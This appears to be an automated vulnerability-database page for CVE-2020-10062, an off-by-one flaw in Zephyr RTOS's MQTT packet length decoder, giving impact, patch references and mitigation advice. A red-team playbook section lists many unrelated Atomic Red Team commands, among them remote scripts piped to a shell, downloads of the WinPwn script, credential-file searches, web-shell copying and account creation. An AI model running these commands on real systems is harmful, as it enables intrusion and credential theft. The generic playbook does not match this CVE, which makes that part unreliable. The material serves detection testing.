CVE-2020-10062
Overview
This vulnerability is an off-by-one error in the MQTT packet length decoding logic within the Zephyr RTOS network stack. The root cause lies in improper boundary checking during the parsing of MQTT packet lengths, leading to a single-byte overflow. The affected component is the MQTT packet length decoder in Zephyr versions 2.2.0 and later, which mishandles buffer indexing when processing incoming MQTT packets.
Vulnerability Description
An off-by-one error in the Zephyr project MQTT packet length decoder can result in memory corruption and possible remote code execution. NCC-ZEP-031 This issue affects: zephyrproject-rtos zephyr version 2.2.0 and later versions.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending malicious MQTT packets to a device running the affected Zephyr versions, resulting in memory corruption. Due to the nature of the overflow, this can lead to remote code execution, allowing the attacker to execute arbitrary code within the context of the affected device. The attack requires network access to the MQTT service endpoint but no user interaction or privileges. This aligns with the CVSS vector indicating network attack vector, high impact on confidentiality, integrity, and availability, and no privileges or user interaction required.
Solution
Users should upgrade Zephyr RTOS to a version that includes the fix referenced in Zephyr security advisory ZEPSEC-84. The patch correcting the MQTT packet length decoder boundary check is included in commits such as 11b7a37d9a0b438270421b224221d91929843de4, available in the official Zephyr GitHub repository. Detailed remediation instructions and updated versions are documented at https://docs.zephyrproject.org/latest/security/vulnerabilities.html#cve-2020-10062 and the Zephyr project security tracker.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zephyr project arises from an off-by-one error within the MQTT packet length decoder. This flaw occurs when the decoder miscalculates the length of incoming packets, leading to memory corruption. Such memory corruption can allow an attacker to manipulate the program's execution flow, potentially leading to remote code execution. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that it poses a significant risk to systems utilizing affected versions of the Zephyr real-time operating system. The issue affects Zephyr versions 2.2.0 and later, making it critical for organizations using this platform to be aware of the implications.
Attack vectors for this vulnerability primarily involve the exploitation of the MQTT protocol, which is widely used in IoT and embedded systems for lightweight messaging. An attacker could craft malicious MQTT packets that exploit the off-by-one error, sending them to a vulnerable device. Once the corrupted packet is processed, the resulting memory corruption could allow the attacker to execute arbitrary code on the device. This exploitation could be executed remotely, making it particularly dangerous as it does not require physical access to the vulnerable system. Scenarios could range from unauthorized access to sensitive data to complete control over the device, potentially leading to further network breaches.
The real-world impact of this vulnerability can be profound, especially in sectors where Zephyr is deployed, such as healthcare, automotive, and industrial control systems. A successful exploitation could lead to unauthorized access to critical systems, data breaches, or even the manipulation of device functionality, which could have dire consequences. For instance, in a healthcare setting, an attacker could gain control over medical devices, risking patient safety. The business risks associated with such vulnerabilities include financial loss, reputational damage, regulatory penalties, and operational disruptions. Organizations must recognize that the consequences of exploitation extend beyond immediate technical issues and can significantly affect their overall business operations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating to the latest version of the Zephyr operating system is crucial, as newer releases often contain patches for known vulnerabilities. Additionally, employing intrusion detection systems (IDS) that can monitor MQTT traffic for anomalies may help identify potential exploitation attempts. Network segmentation can also limit the exposure of vulnerable devices, reducing the attack surface. Furthermore, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems, ensuring that they are not only protected against this specific vulnerability but also against a broader range of threats.
In conclusion, the off-by-one error in the MQTT packet length decoder within the Zephyr project represents a significant security risk that could lead to severe consequences if exploited. Understanding the technical details, potential attack vectors, and real-world implications is essential for organizations utilizing this operating system. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall security posture in an increasingly interconnected world.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zephyrproject | Zephyr | All |
cpe:2.3:o:zephyrproject:zephyr:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-10062 |
| zephyrprojectsec.atlassian.net |
GitHub CVE
x_refsource_MISC
|
https://zephyrprojectsec.atlassian.net/browse/ZEPSEC-84 |
| docs.zephyrproject.org |
GitHub CVE
x_refsource_MISC
|
https://docs.zephyrproject.org/latest/security/vulnerabilities.html#cve-2020-10062 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/zephyrproject-rtos/zephyr/pull/23821/commits/11b7a37d9a0b438270421b224221d91929843de4 |
| research.nccgroup.com |
GitHub CVE
x_refsource_MISC
|
https://research.nccgroup.com/2020/05/26/research-report-zephyr-and-mcuboot-security-assessment |